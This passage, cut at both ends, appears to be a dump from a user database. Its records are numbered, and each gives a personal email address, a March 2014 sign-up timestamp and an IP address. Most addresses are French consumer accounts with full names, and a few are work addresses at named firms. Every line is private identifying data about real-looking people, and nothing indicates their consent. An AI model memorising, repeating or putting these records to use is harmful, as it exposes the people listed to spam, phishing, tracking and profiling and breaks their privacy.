12:27:51;84.102.5.56 +2493;raphadu66@msn.com;2014-03-11 12:32:41;77.204.85.167 +2494;ragot_martine@yahoo.fr;2014-03-11 12:37:50;62.23.231.120 +2495;shanicenat@hotmail.fr;2014-03-11 12:39:34;92.92.188.31 +2496;sophie.zazo@gmail.com;2014-03-11 12:39:58;82.123.55.65 +2497;mickie@noos.fr;2014-03-11 12:40:34;85.169.99.213 +2498;alvino.lopes@free.fr;2014-03-11 12:40:43;82.233.4.136 +2499;niquedoule@gmail.com;2014-03-11 12:45:36;90.7.229.81 +2500;nadine.bellon@voila.fr;2014-03-11 12:48:16;212.194.130.1 +2501;pharmaciedelauthion@gmail.com;2014-03-11 12:49:24;90.12.193.226 +2502;lucile.crespin@gmail.com;2014-03-11 12:50:45;81.255.116.112 +2503;mascloune@hotmail.fr;2014-03-11 12:51:09;77.195.238.34 +2504;blanckecline@gmail.com;2014-03-11 12:51:15;78.113.203.51 +2505;anastasia-benlil@hotmail.fr;2014-03-11 12:52:13;109.31.78.82 +2506;durand-claire@hotmail.fr;2014-03-11 12:52:57;80.215.163.203 +2507;maryline.delorme@sfr.fr;2014-03-11 12:55:07;84.97.166.124 +2508;chloe.luzillat@orange.fr;2014-03-11 12:59:08;195.25.142.185 +2509;miss_oim21@hotmail.fr;2014-03-11 12:59:20;80.13.236.241 +2510;lucie.pege@orange.fr;2014-03-11 13:03:08;109.6.134.134 +2511;Julie.muffat@hotmail.fr;2014-03-11 13:05:19;78.243.121.250 +2512;j.catberro@gmail.com;2014-03-11 13:05:57;2.5.12.191 +2513;marchandgwendoline@gmail.com;2014-03-11 13:08:09;92.89.94.244 +2514;couraultc@aol.com;2014-03-11 13:08:13;93.1.145.238 +2515;jocedane@gmail.com;2014-03-11 13:08:35;178.83.118.238 +2516;elodieminet@gmail.com;2014-03-11 13:14:01;78.234.152.155 +2517;sf66110@aol.com;2014-03-11 13:15:18;86.202.37.67 +2518;eloiseprovino@gmail.com;2014-03-11 13:18:55;88.173.84.49 +2519;gibertaline@hotmail.fr;2014-03-11 13:24:37;93.21.22.176 +2520;lalie1gall@orange.fr;2014-03-11 13:26:21;92.143.253.38 +2521;aurelie.marques@free.fr;2014-03-11 13:28:57;62.23.92.88 +2522;virginia41@hotmail.fr;2014-03-11 13:34:03;78.238.136.78 +2523;revoldis@yahoo.fr;2014-03-11 13:42:20;90.58.86.11 +2524;tokyoite3@hotmail.fr;2014-03-11 13:43:03;82.233.173.110 +2525;kitinelongo@gmail.com;2014-03-11 13:43:48;62.201.135.246 +2526;amandinetestut@gmail.com;2014-03-11 13:55:09;78.246.23.192 +2527;charlotte.santoro@hotmail.fr;2014-03-11 13:55:17;92.143.42.87 +2528;brasantunes.nathalie@neuf.fr;2014-03-11 13:58:50;86.68.23.8 +2529;nanou9.7.2@hotmail.fr;2014-03-11 14:08:18;213.16.18.15 +2530;lebonkevin1@hotmail.fr;2014-03-11 14:09:20;88.219.82.190 +2531;co.carole@orange.fr;2014-03-11 14:12:08;92.155.231.121 +2532;l.vinck@laposte.net;2014-03-11 14:14:06;86.75.125.66 +2533;gradoz.jean-louis@orange.fr;2014-03-11 14:15:50;90.48.3.231 +2534;geraldine.leclercq@gmail.com;2014-03-11 14:16:30;217.128.205.248 +2535;vincentcaroline@live.fr;2014-03-11 14:22:54;82.229.178.50 +2536;ilojadice93@hotmail.fr;2014-03-11 14:30:30;89.2.39.201 +2537;100drine.bert1@gmail.com;2014-03-11 14:30:30;80.12.100.132 +2538;vidot.n@laposte.net;2014-03-11 14:45:11;217.171.17.57 +2539;caeicher@hotmail.fr;2014-03-11 14:49:15;90.84.146.253 +2540;hlinda59@hotmail.fr;2014-03-11 14:52:29;176.182.145.122 +2542;fazaoui54@yahoo.fr;2014-03-11 15:15:54;86.76.5.160 +2544;dadalae@hotmail.com;2014-03-11 15:40:02;88.161.204.65 +2545;ochapinou@hotmail.com;2014-03-11 15:48:56;217.128.64.141 +2546;azulcielo60@hotmail.com;2014-03-11 15:51:57;86.70.131.64 +2547;stephanie.ayot@gmail.com;2014-03-11 15:57:43;86.201.107.18 +2548;lilly80@hotmail.fr;2014-03-11 16:05:02;92.90.16.126 +2549;mabullecosmeto@hotmail.fr;2014-03-11 16:05:25;109.15.97.89 +2550;nathalie.painblanc@gmail.com;2014-03-11 16:16:30;109.2.202.84 +2551;severinedie@gmail.com;2014-03-11 16:22:37;92.90.26.25 +2552;jessica.pellegrin@hotmail.fr;2014-03-11 16:28:15;81.255.154.162 +2553;crisauclair@yahoo.fr;2014-03-11 16:31:53;83.114.154.66 +2554;jennyocan@gmail.com;2014-03-11 17:02:17;82.236.161.63 +2555;saudeau.coralie@hotmail.fr;2014-03-11 17:07:17;80.15.198.63 +2556;july784@hotmail.com;2014-03-11 17:10:45;217.108.118.25 +2557;glnmagalie@gmail.com;2014-03-11 17:11:26;81.48.133.166 +2558;muriel.adeline@wanadoo.fr;2014-03-11 17:17:01;82.244.7.210 +2559;degroote.alexandra@hotmail.com;2014-03-11 18:04:03;82.226.202.168 +2560;justinecriquet@hotmail.fr;2014-03-11 18:06:27;81.250.238.57 +2561;argantia@hotmail.fr;2014-03-11 18:06:37;81.250.238.57 +2562;ambrea74@yahoo.fr;2014-03-11 18:09:26;194.59.180.28 +2563;sylviane.santrot@orange.fr;2014-03-11 18:21:02;86.221.1.237 +2564;loetitiad62@outlook.fr;2014-03-11 18:29:44;79.95.161.20 +2565;aziliz35400@hotmail.fr;2014-03-11 18:41:55;90.32.122.14 +2566;ksemennikova@gmail.com;2014-03-11 18:47:44;86.212.80.218 +2567;charlotte_normandie@hotmail.fr;2014-03-11 19:04:26;31.37.140.159 +2568;opaline1408@gmail.com;2014-03-11 19:12:58;82.244.33.83 +2569;elfemauve@aol.com;2014-03-11 19:13:28;82.233.97.48 +2570;Gothika77@live.fr;2014-03-11 19:29:14;77.196.217.58 +2571;melcat@hotmail.fr;2014-03-11 19:29:37;88.161.139.130 +2572;Chrisandri@hotmail.fr;2014-03-11 19:32:57;85.69.7.64 +2573;severine.debene@hotmail.fr;2014-03-11 20:00:06;93.6.228.61 +2574;emmapitchoune@yahoo.fr;2014-03-11 20:06:04;79.87.10.71 +2575;melach89@hotmail.fr;2014-03-11 20:17:31;5.50.185.21 +2576;stephanie.comello@aliceadsl.fr;2014-03-11 20:21:21;176.180.73.56 +2577;valiep27@msn.com;2014-03-11 20:33:59;88.166.241.55 +2578;VALIEPINOL@YAHOO.FR;2014-03-11 20:34:08;88.166.241.55 +2579;vpinol@auchan.fr;2014-03-11 20:34:16;88.166.241.55 +2580;anais.p77@live.fr;2014-03-11 20:34:23;83.154.205.196 +2581;amandine.guillaume1@gmail.com;2014-03-11 20:46:15;128.79.134.46 +2582;p-titepuce59@hotmail.fr;2014-03-11 20:56:41;90.34.116.88 +2583;bolzoya@gmail.com;2014-03-11 21:03:22;95.176.81.2 +2584;celaiden@hotmail.fr;2014-03-11 21:09:09;31.169.41.99 +2585;chrystelle.salle@akeonet.com;2014-03-11 21:17:28;109.11.6.224 +2587;ophea44@gmail.com;2014-03-11 21:22:38;82.65.85.246 +2588;bulle0593@hotmail.fr;2014-03-11 21:25:20;78.236.197.50 +2589;isa.lallemand@skynet.be;2014-03-11 21:25:27;91.177.183.18 +2590;klavisse@yahoo.fr;2014-03-11 21:33:03;81.67.97.208 +2591;manon.pautard@yahoo.fr;2014-03-11 21:48:53;78.251.92.136 +2592;domineo77@free.fr;2014-03-11 21:57:58;88.162.245.208 +2593;groboss@msn.com;2014-03-11 22:01:44;88.164.151.181 +2594;chloe-darbeau@hotmail.fr;2014-03-11 22:07:01;86.210.27.3 +2595;sabrina.dangeul@gmail.com;2014-03-11 22:15:40;85.68.39.90 +2596;ab_car2006@laposte.net;2014-03-11 22:50:40;80.215.197.40 +2597;yaelderai@gmail.com;2014-03-12 00:14:37;109.23.228.202 +2598;aurore.deutsch@gmail.com;2014-03-12 00:58:41;85.69.109.91 +2599;sabrinepedoussaut@orange.fr;2014-03-12 01:12:00;93.158.0.70 +2600;isabelle_leger@yahoo.fr;2014-03-12 01:27:53;86.221.27.215 +2601;lililolo@gmail.com;2014-03-12 02:24:07;91.177.230.89 +2602;c.ibanez6075@yahoo.fr;2014-03-12 03:36:39;81.49.133.43 +2603;malininou@hotmail.fr;2014-03-12 07:45:17;78.152.132.244 +2604;stephanie_ducolone@hotmail.fr;2014-03-12 07:50:25;95.176.22.124 +2605;e-chrys@hotmail.fr;2014-03-12 08:52:22;82.227.245.184 +2606;onuthedog@sfr.fr;2014-03-12 09:11:19;77.84.217.196 +2607;sofy_number5@hotmail.fr;2014-03-12 09:33:48;139.124.134.12 +2608;emmanuelle.larchet@live.fr;2014-03-12 10:03:30;78.220.64.149 +2609;fabiennemiguet@yahoo.com;2014-03-12 10:24:17;82.241.207.32 +2610;fabyloup@hotmail.fr;2014-03-12 10:38:34;92.133.115.173 +2611;dihya18@hotmail.com;2014-03-12 11:49:52;91.151.51.241 +2612;bijoux7@hotmail.fr;2014-03-12 12:03:48;82.238.59.180 +2613;ulfi13@hotmail.fr;2014-03-12 12:34:17;79.85.192.214 +2614;mysticpuce@yahoo.fr;2014-03-12 13:03:30;92.103.198.214 +2615;nathalie.cattrat@orange.fr;2014-03-12 13:26:00;109.213.214.119 +2617;annick.degousee@gmail.com;2014-03-12 14:10:55;78.211.88.104 +2618;ice.cupcake@gmail.com;2014-03-12 14:32:49;83.200.12.182 +2619;celinedab@hotmail.fr;2014-03-12 15:10:30;80.11.140.11 +2620;paulinem@yahoo-inc.com;2014-03-12 15:13:32;193.93.197.161 +2621;l.louvel@gmail.com;2014-03-12 15:16:10;176.179.230.54 +2622;jean-luc.neri975@orange.fr;2014-03-12 16:14:39;83.196.245.111 +2623;cdomecurely@xanadoo.fr;2014-03-12 16:17:10;90.29.91.155 +2624;cdomecurely@wanadoo.fr;2014-03-12 16:17:52;90.29.91.155 +2625;chaa.barreau@laposte.net;2014-03-12 16:53:34;81.51.96.77 +2626;paulinegrisez@gmail.com;2014-03-12 16:56:53;80.15.187.184 +2627;clarisse.caro@laposte.net;2014-03-12 18:10:24;93.19.128.158 +2628;delphineguiglion@yahoo.fr;2014-03-12 18:51:33;91.69.118.71 +2629;kmaline2@sfr.fr;2014-03-12 20:41:11;88.219.168.59 +2630;chouchou13_23@hotmail.fr;2014-03-12 21:19:57;90.37.88.42 +2631;alexandrajaraba@yahoo.com;2014-03-12 21:31:45;195.132.165.217 +2632;melodie.baron@hotmail.fr;2014-03-12 21:50:27;83.157.67.47 +2633;zinebakar@yahoo.fr;2014-03-12 22:29:34;82.227.207.211 +2634;dumontsandrine@ymail.com;2014-03-12 22:53:20;109.21.145.91 +2635;lavizelle@orange.fr;2014-03-12 23:10:06;90.35.4.104 +2636;mamzell_boo@hotmail.fr;2014-03-12 23:35:12;89.226.162.85 +2637;marion.cornudet@yahoo.fr;2014-03-12 23:37:12;79.84.13.233 +2638;corps.et.etre@neuf.fr;2014-03-12 23:43:39;92.90.26.52 +2639;alixgrd@gmail.com;2014-03-13 08:11:00;78.193.111.112 +2640;rockxisxlife@hotmail.fr;2014-03-13 09:14:09;109.213.117.238 +2641;lise.gomot@hotmail.fr;2014-03-13 10:08:05;109.237.245.164 +2642;cafedelatoile@gmail.com;2014-03-13 11:28:10;90.52.19.173 +2643;delphine.kinou@hotmail.fr;2014-03-13 12:52:28;31.36.42.170 +2644;melanie.pere@hotmail.fr;2014-03-13 13:54:46;132.208.106.68 +2646;valeriemolinier81@gmail.com;2014-03-13 14:40:56;84.98.196.206 +2647;al-et-lolo@hotmail.fr;2014-03-13 16:45:03;86.197.193.223 +2648;lucile.coulomb7@gmail.com;2014-03-13 17:41:12;82.234.169.125 +2649;gurrieri.fiona@gmail.com;2014-03-13 17:52:42;84.100.161.207 +2650;severine_menu@hotmail.com;2014-03-13 18:47:21;88.178.141.153 +2651;elsa_poullain25@msn.com;2014-03-13 19:44:34;31.38.132.171 +2652;perfect-nightmare@hotmail.fr;2014-03-13 20:05:01;86.221.233.135 +2653;barbu.oana00@gmail.com;2014-03-13 20:35:06;193.55.52.2 +2654;cmgisbert@gmail.com;2014-03-13 20:59:10;88.182.32.91 +2655;katlin_@hotmail.fr;2014-03-13 21:05:30;78.239.84.77 +2656;fred.mnd@gmail.com;2014-03-13 21:23:41;109.222.106.16 +2657;martine.deram@hotmail.fr;2014-03-13 21:28:14;93.20.156.159 +2658;emmanuelled7640@gmail.com;2014-03-13 21:36:36;90.51.154.45 +2660;lenapoirot@gmail.com;2014-03-13 21:51:45;84.98.238.56 +2661;j.geuens@hotmail.fr;2014-03-13 22:52:04;31.39.225.40 +2662;camcordier@msn.com;2014-03-13 23:46:59;88.136.81.187 +2663;patvirgin@orange.fr;2014-03-14 07:54:37;92.161.84.37 +2664;lnvb@vbm.re;2014-03-14 10:06:05;90.43.94.251 +2665;be.test86@gmail.com;2014-03-14 11:07:46;79.88.168.12 +2666;vzs@abv.bg;2014-03-14 13:57:03;88.181.93.95 +2667;vanessa.girot@hotmail.fr;2014-03-14 15:30:27;86.68.55.87 +2668;metiss12@hotmail.fr;2014-03-14 16:11:01;46.218.229.188 +2669;cguironnet@free.fr;2014-03-14 18:38:10;90.8.192.157 +2670;pop_pitchoune@hotmail.fr;2014-03-14 20:47:53;90.33.197.117 +2671;sibonfamili@yahoo.fr;2014-03-14 20:49:51;92.146.122.172 +2672;degafrederique@yahoo.fr;2014-03-15 00:06:34;90.61.177.206 +2673;rugolin.melissa@gmail.com;2014-03-15 01:51:54;88.188.75.68 +2674;kikastor@club-internet.fr;2014-03-15 03:25:45;77.192.16.88 +2675;lolia47@hotmail.com;2014-03-15 08:34:06;89.94.148.56 +2676;louna.colleuille@live.fr;2014-03-15 10:13:36;109.212.5.28 +2677;gautier.lucie1@gmail.com;2014-03-15 11:40:01;89.158.245.92 +2678;cerise322@hotmail.fr;2014-03-15 11:51:11;83.199.201.126 +2679;harmonyj@orange.fr;2014-03-15 14:08:23;90.61.92.120 +2680;cindy1583@hotmail.fr;2014-03-15 15:19:27;77.192.42.227 +2681;ciroussel@sfr.fr;2014-03-15 15:19:37;77.192.42.227 +2682;jajalem@hotmail.fr;2014-03-15 15:19:42;77.192.42.227 +2683;duhafrance@aol.com;2014-03-15 15:41:16;5.48.48.144 +2684;plume.renaud@orange.fr;2014-03-15 16:35:58;92.139.40.137 +2685;anne-marie.berthet@laposte.net;2014-03-15 17:19:33;92.129.186.30 +2686;audrey.aa31@gmail.com;2014-03-15 18:11:25;92.90.16.218 +2687;camilletouges@yahoo.fr;2014-03-15 18:13:14;90.61.132.46 +2688;chloleroux@hotmail.com;2014-03-15 18:24:07;2.2.175.193 +2689;ebonafos@hotmail.fr;2014-03-15 19:01:29;87.89.45.154 +2690;marine.de-bregeot@orange.fr;2014-03-15 19:24:11;90.3.103.66 +2691;sabrinette5757@live.fr;2014-03-15 21:45:06;2.2.93.125 +2692;Dahansophie@hotmail.com;2014-03-15 22:26:40;86.212.121.250 +2693;isabelle.masselot@orange.fr;2014-03-15 22:40:47;78.241.14.165 +2694;moniqueborredon@hotmail.fr;2014-03-15 23:26:43;88.137.174.176 +2695;cath.laurentoriol@gmail.com;2014-03-16 10:43:39;90.29.191.81 +2696;annefrancerenault@gmail.com;2014-03-16 11:30:15;88.141.133.102 +2697;stef.65@live.fr;2014-03-16 12:55:34;86.213.17.18 +2698;indesireeflorence@hotmail.fr;2014-03-16 14:07:59;85.69.7.130 +2699;laurence.vial10@gmail.com;2014-03-16 14:18:15;89.92.42.155 +2700;mariedwt@gmail.com;2014-03-16 14:42:33;78.246.77.46 +2701;ferreri-florence@bbox.fr;2014-03-16 18:03:40;31.33.123.190 +2702;sabinethomas.st@gmail.com;2014-03-16 18:28:00;91.91.213.97 +2703;chloe.hilt@gmail.com;2014-03-16 18:49:36;82.242.205.6 +2704;laura.hallais@gmail.com;2014-03-16 20:02:16;82.225.107.1 +2705;jitaime54@hotmail.fr;2014-03-16 20:13:00;89.227.32.189 +2707;emeline.leon@free.fr;2014-03-16 22:00:29;82.237.16.12 +2708;philomene.albert0@gmail.com;2014-03-16 22:23:47;82.228.79.116 +2709;Veroniquevitrat@yahoo.fr;2014-03-16 23:07:00;109.223.160.158 +2710;fanfreluche@gmail.com;2014-03-17 09:27:33;90.2.4.83 +2711;mafra.luciana@gmail.com;2014-03-17 10:34:45;82.123.134.49 +2712;alexacevellec@gmail.com;2014-03-17 11:22:33;81.50.134.16 +2713;Mellelondero@gmail.com;2014-03-17 11:52:00;89.2.129.226 +2714;sylvie.jane60@live.fr;2014-03-17 11:55:13;81.255.197.65 +2715;s.guilloizeau@adlpartner.fr;2014-03-17 11:55:27;81.255.197.65 +2716;anne_wauthier@hotmail.com;2014-03-17 12:14:53;81.246.29.67 +2717;beatrice_laroche@hotmail.com;2014-03-17 12:15:29;81.246.29.67 +2718;robin_68_06@hotmail.fr;2014-03-17 13:00:39;194.167.188.108 +2719;bastiani@pt.lu;2014-03-17 14:56:21;195.46.241.225 +2720;sylvielepailleur@hotmail.fr;2014-03-17 15:04:09;176.181.145.34 +2721;fannymaleditcazot@yahoo.fr;2014-03-17 15:42:42;82.127.10.215 +2722;lescoatkarine@yahoo.fr;2014-03-17 15:43:10;82.253.180.250 +2723;isabeller077@msn.com;2014-03-17 16:27:24;193.252.195.73 +2724;nathalie.portmann@laposte.net;2014-03-17 17:16:16;78.247.165.197 +2725;barbarabegot@gmail.com;2014-03-17 18:58:06;90.13.61.124 +2726;e.cordier@yahoo.fr;2014-03-17 19:47:28;90.58.175.107 +2728;aude_boniface@hotmail.fr;2014-03-17 21:37:48;31.34.159.41 +2729;leslie.chataigneau@gmail.com;2014-03-17 21:50:21;109.8.21.65 +2730;elodie171292@hotmail.fr;2014-03-17 22:21:45;85.168.117.49 +2731;bourgesariane@msn.com;2014-03-18 02:14:39;137.122.64.56 +2732;eddiekubiak@sfr.fr;2014-03-18 08:24:11;62.160.76.25 +2733;yvelinel@wanadoo.fr;2014-03-18 10:04:04;86.214.53.207 +2734;soleina92@hotmail.fr;2014-03-18 11:34:45;89.93.66.187 +2735;sophia.batata@fredhopper.com;2014-03-18 11:41:20;84.14.46.3 +2736;sophia.batata@gmail.com;2014-03-18 11:41:56;84.14.46.3 +2737;gusone@live.fr;2014-03-18 11:59:25;90.15.103.107 +2738;boudidipi@gmail.com;2014-03-18 12:28:05;176.181.231.236 +2739;pagotlaura@gmail.com;2014-03-18 12:40:22;78.240.201.12 +2740;deruy.amelie@hotmail.fr;2014-03-18 12:42:39;88.160.236.201 +2741;fabrik2com@hotmail.fr;2014-03-18 13:17:36;90.39.153.61 +2742;louisette76120@hotmail.fr;2014-03-18 14:15:29;81.57.119.171 +2743;miss-biforever@hotmail.fr;2014-03-18 14:15:59;86.209.34.14 +2744;emilie.moine@orange.fr;2014-03-18 14:26:45;90.33.249.147 +2745;lisa.greusard@gmail.com;2014-03-18 15:01:32;130.190.31.235 +2746;nina-franceschi@orange.fr;2014-03-18 15:19:47;2.4.171.61 +2747;sabahfranceschi@orange.fr;2014-03-18 15:19:56;2.4.171.61 +2748;nina.franceschi@hotmail.fr;2014-03-18 15:20:05;2.4.171.61 +2749;nina_franceschi@hotmail.fr;2014-03-18 15:20:15;2.4.171.61 +2750;chachalachieuse29@hotmail.com;2014-03-18 19:41:27;93.8.21.127 +2751;nuitdete57@yahoo.fr;2014-03-18 20:13:55;188.7.37.18 +2752;caroline.dupe@gmail.com;2014-03-18 21:26:15;31.39.35.184 +2753;chaoline@msn.com;2014-03-18 21:30:09;84.100.24.163 +2754;juliesticot@gmail.com;2014-03-18 21:37:35;78.230.44.45 +2755;lynxia@live.fr;2014-03-18 21:47:27;90.11.242.199 +2756;etio.marionroussel@gmail.com;2014-03-18 21:47:36;90.11.242.199 +2757;lebec.audrey@wanadoo.fr;2014-03-18 22:18:32;90.24.146.176 +2758;ngidelle@yahoo.fr;2014-03-19 09:03:56;212.51.183.78 +2759;henrynadege@gmail.com;2014-03-19 09:05:19;91.88.205.94 +2760;marina.aimee@yahoo.fr;2014-03-19 09:45:08;82.225.66.103 +2761;nathalie.camusat@orange.fr;2014-03-19 10:22:07;90.24.85.209 +2762;petiteplumedebeaute@live.fr;2014-03-19 10:40:18;78.249.125.43 +2763;sorcieredel@hotmail.fr;2014-03-19 11:14:29;31.39.30.160 +2764;pontran@orange.fr;2014-03-19 12:47:26;83.199.94.213 +2765;victoriaduc31@gmail.com;2014-03-19 12:52:26;194.57.109.67 +2766;alexedwige@aol.com;2014-03-19 13:02:43;78.240.74.100 +2767;droit.agnes@orange.fr;2014-03-19 14:06:50;90.37.107.58 +2768;cindyredanaymerick@laposte.net;2014-03-19 14:31:51;2.5.100.95 +2769;chutney75@free.fr;2014-03-19 15:33:25;82.225.250.99 +2770;julie.baurens@hotmail.fr;2014-03-19 15:58:19;90.55.35.144 +2771;st.hadji@yahoo.fr;2014-03-19 16:08:31;197.202.25.1 +2772;sarah.brouard@hotmail.fr;2014-03-19 16:18:54;92.162.109.123 +2773;maraisvanessa@orange.fr;2014-03-19 16:20:45;83.115.67.3 +2774;elodie.blanchard@sagacosmetic.com;2014-03-19 16:46:03;109.7.94.66 +2775;marina.salomatina@laposte.net;2014-03-19 17:44:27;82.228.185.238 +2776;m-coraline@live.fr;2014-03-19 17:47:57;90.39.41.229 +2777;juliebartre@hotmail.fr;2014-03-19 18:35:31;79.80.247.76 +2778;anne.masocco@hotmail.fr;2014-03-19 19:21:16;92.148.204.153 +2779;chri.loren@neuf.fr;2014-03-19 19:37:36;79.87.51.83 +2780;henaff_m@yahoo.fr;2014-03-19 21:17:32;82.245.202.139 +2782;aureliefuseau@free.fr;2014-03-19 22:07:49;78.207.66.144 +2783;vanessa.rouault@gmail.com;2014-03-19 22:14:06;81.66.8.218 +2784;standbymenorth@yahoo.fr;2014-03-19 22:24:07;77.197.151.155 +2785;lombard_christelle@orange.fr;2014-03-20 06:59:35;90.8.37.120 +2786;michellebauquier@gmail.com;2014-03-20 07:54:44;90.84.144.159 +2787;gisele.lyon@yahoo.fr;2014-03-20 08:31:23;82.235.45.249 +2788;lamgillesboyer@yahoo.fr;2014-03-20 09:20:25;80.149.40.50 +2789;labeautedelam@gmail.com;2014-03-20 09:20:43;80.149.40.50 +2790;esther.sougne@gmail.com;2014-03-20 09:51:35;5.158.200.70 +2791;sophietls@orange.fr;2014-03-20 10:13:26;81.255.59.193 +2792;la_grande_comu@msn.com;2014-03-20 10:23:22;46.218.183.106 +2793;nas063@hotmail.fr;2014-03-20 11:21:57;193.54.51.240 +2794;celine.bruhat@sfr.fr;2014-03-20 12:59:55;77.199.208.217 +2795;eapruitt@free.fr;2014-03-20 14:17:29;82.242.215.217 +2796;marine.italie@gmail.com;2014-03-20 15:03:07;176.183.114.186 +2797;lemesle.muriel@neuf.fr;2014-03-20 15:28:09;78.155.134.70 +2798;my-name-is-cruelty@gmx.fr;2014-03-20 17:13:38;82.230.67.93 +2799;margaux.josse@yahoo.fr;2014-03-20 17:14:36;78.236.205.71 +2800;allison.ditsch@laposte.net;2014-03-20 17:20:25;82.230.67.93 +2801;elloween@hotmail.fr;2014-03-20 19:10:00;89.82.27.88 +2802;zinox95@orange.fr;2014-03-20 21:19:03;109.222.97.24 +2803;fz60@hotmail.fr;2014-03-20 21:21:46;88.189.98.85 +2804;aurelieg60@gmail.com;2014-03-20 21:22:11;88.189.98.85 +2805;lastfanie@gmail.com;2014-03-20 23:09:40;90.22.204.66 +2806;ndesaint@live.fr;2014-03-20 23:24:05;31.33.198.156 +2807;moncelon.catherine@orange.fr;2014-03-21 07:16:55;86.216.111.26 +2808;j.colomas81@gmail.com;2014-03-21 09:06:38;86.217.12.146 +2809;juccook@gmail.com;2014-03-21 11:09:51;78.224.173.18 +2810;mariline.avon@live.fr;2014-03-21 11:23:22;78.205.51.140 +2811;anita.weber.koeln@gmx.de;2014-03-21 12:33:31;92.50.118.13 +2812;cambonie.c@gmail.com;2014-03-21 12:53:57;195.221.123.215 +2813;ferrand.nathalie@free.fr;2014-03-21 13:02:11;92.140.224.47 +2814;magdelon.corinne@orange.fr;2014-03-21 13:07:33;90.47.57.149 +2815;c.desp@laposte.net;2014-03-21 13:17:34;89.83.128.41 +2816;isabelle.gigan@aliceadsl.fr;2014-03-21 13:18:45;83.155.61.55 +2817;yasmina.boucekine@gmail.com;2014-03-21 13:27:53;81.255.78.145 +2819;mm0079@multipharma.be;2014-03-21 14:06:57;91.177.175.189 +2820;julyluci@wanadoo.fr;2014-03-21 14:50:29;82.252.190.177 +2821;camusstephane@yahoo.fr;2014-03-21 14:54:39;78.125.95.238 +2822;gaut.geraldine@orange.fr;2014-03-21 14:56:45;92.149.208.189 +2823;marylinedumas@yahoo.fr;2014-03-21 15:07:26;77.201.173.218 +2824;oce1949@orange.fr;2014-03-21 15:30:47;86.198.99.4 +2825;fleurpom@yahoo.co.uk;2014-03-21 15:34:03;93.20.168.124 +2826;christine.lefevre-romy@total.com;2014-03-21 15:39:25;141.227.1.41 +2827;d.vero66@live.fr;2014-03-21 16:07:41;83.193.153.8 +2828;xpoinsignon@gmail.com;2014-03-21 16:23:45;82.228.185.238 +2829;stephanie.bosser@free.fr;2014-03-21 16:41:18;89.91.79.161 +2830;plumelodie@gmail.com;2014-03-21 17:10:10;77.196.2.192 +2831;severinebessiere@gmail.com;2014-03-21 17:36:06;109.215.69.10 +2832;Jinks32@aol.com;2014-03-21 18:01:05;77.192.151.119 +2833;clotilde.ventalon@wanadoo.fr;2014-03-21 18:01:15;86.203.62.239 +2834;igdc@wanadoo.fr;2014-03-21 18:09:35;92.138.135.199 +2835;annebssr@gmail.com;2014-03-21 19:07:42;143.126.201.152 +2836;wagnercaroline70@gmail.fr;2014-03-21 20:11:32;89.2.223.66 +2837;wagnercaroline70@gmail.com;2014-03-21 20:13:53;89.2.223.66 +2838;vssa.giletti@wanadoo.fr;2014-03-21 21:36:15;78.242.253.16 +2839;benedicteheyman@hotmail.com;2014-03-21 21:50:53;83.192.221.127 +2840;king.aurore@yahoo.fr;2014-03-21 22:50:00;90.2.16.44 +2841;linda.decolinda@gmail.com;2014-03-21 23:24:54;82.241.184.30 +2842;mathilde.lanniaux@hotmail.fr;2014-03-22 01:39:59;78.126.16.201 +2843;bmazzanti@live.fr;2014-03-22 02:41:49;188.7.47.100 +2844;cunysantorini@aol.com;2014-03-22 07:56:27;77.201.62.85 +2845;bouletgercourts@hotmail.com;2014-03-22 08:12:22;90.8.238.91 +2846;camille.wallet@laposte.net;2014-03-22 09:10:04;109.22.235.98 +2847;florencetegoni@hotmail.com;2014-03-22 09:32:35;81.57.219.181 +2848;Fanch1983@hotmail.com;2014-03-22 10:07:13;78.244.169.243 +2849;pjeanne@laposte.net;2014-03-22 10:31:14;91.88.202.200 +2850;annonce.leboincoin@hotmail.fr;2014-03-22 10:35:59;82.235.189.139 +2851;odlevas@laposte.net;2014-03-22 12:30:43;84.103.212.54 +2852;karine.mille24@gmail.com;2014-03-22 12:35:55;90.16.169.178 +2853;ruafelicidade@hotmail.fr;2014-03-22 15:08:07;85.170.87.247 +2854;louise.tagand@gmail.com;2014-03-22 15:16:44;90.1.204.79 +2855;annick.molle@skynet.be;2014-03-22 15:20:56;81.247.42.213 +2857;chouca@live.fr;2014-03-22 16:17:25;2.11.84.187 +2858;corre.alizee@laposte.net;2014-03-22 16:25:13;93.27.211.53 +2859;hello.zoun@laposte.net;2014-03-22 16:26:03;93.27.211.53 +2860;hollowcrikete@hotmail.fr;2014-03-22 17:41:09;31.36.13.18 +2861;jeromeweis@hotmail.fr;2014-03-22 17:41:17;31.36.13.18 +2862;claudeetmonique59@hotmail.fr;2014-03-22 17:41:35;31.36.13.18 +2864;leaweis@hotmail.fr;2014-03-22 17:41:54;31.36.13.18 +2865;hollowcrikete@orange.fr;2014-03-22 17:42:05;31.36.13.18 +2866;jeromeweis@orange.fr;2014-03-22 17:42:12;31.36.13.18 +2867;virginie.weis@gmail.com;2014-03-22 17:42:38;31.36.13.18 +2868;bruno.tormen@orange.fr;2014-03-22 17:54:40;86.199.164.55 +2869;virginy.stoll@orange.fr;2014-03-22 18:14:27;109.214.160.33 +2870;personnes@wanadoo.fr;2014-03-22 18:28:08;86.214.53.79 +2871;bea.grellier@gmx.fr;2014-03-22 18:53:47;2.8.153.185 +2872;mvacher1980@gmail.com;2014-03-22 19:00:29;90.55.56.225 +2873;mjamiant@orange.fr;2014-03-22 19:22:52;109.211.59.247 +2874;ilhamriffi@hotmail.fr;2014-03-22 19:56:16;109.17.174.89 +2875;ibruere_dawson@hotmail.com;2014-03-22 19:56:49;83.203.231.97 +2876;chanelphilippon@orange.fr;2014-03-22 20:47:50;2.10.209.27 +2877;lydie.gerdan74@orange.fr;2014-03-22 23:47:16;90.41.173.151 +2878;anais-dumontier@hotmail.fr;2014-03-23 01:36:04;92.128.113.200 +2879;annick.molle@gmail.com;2014-03-23 09:45:28;81.247.42.213 +2880;bernier_florence@hotmail.com;2014-03-23 11:55:09;82.228.236.208 +2881;mfboulle@yahoo.fr;2014-03-23 14:25:52;93.0.15.24 +2882;laure.plaquin@gmail.com;2014-03-23 14:53:44;80.215.205.228 +2883;erika20260@yahoo.fr;2014-03-23 15:07:51;109.208.5.243 +2884;fanny.le-goff@wanadoo.fr;2014-03-23 15:13:54;2.14.3.106 +2885;pharmacie.tremblin.lecoq@orange.fr;2014-03-23 18:57:11;88.136.186.174 +2886;nitroceline@orange.fr;2014-03-23 19:08:34;92.145.44.33 +2887;mcdevoyon@yahoo.fr;2014-03-23 20:06:58;79.81.127.44 +2888;boujotcarine@orange.fr;2014-03-23 21:40:58;90.60.113.109 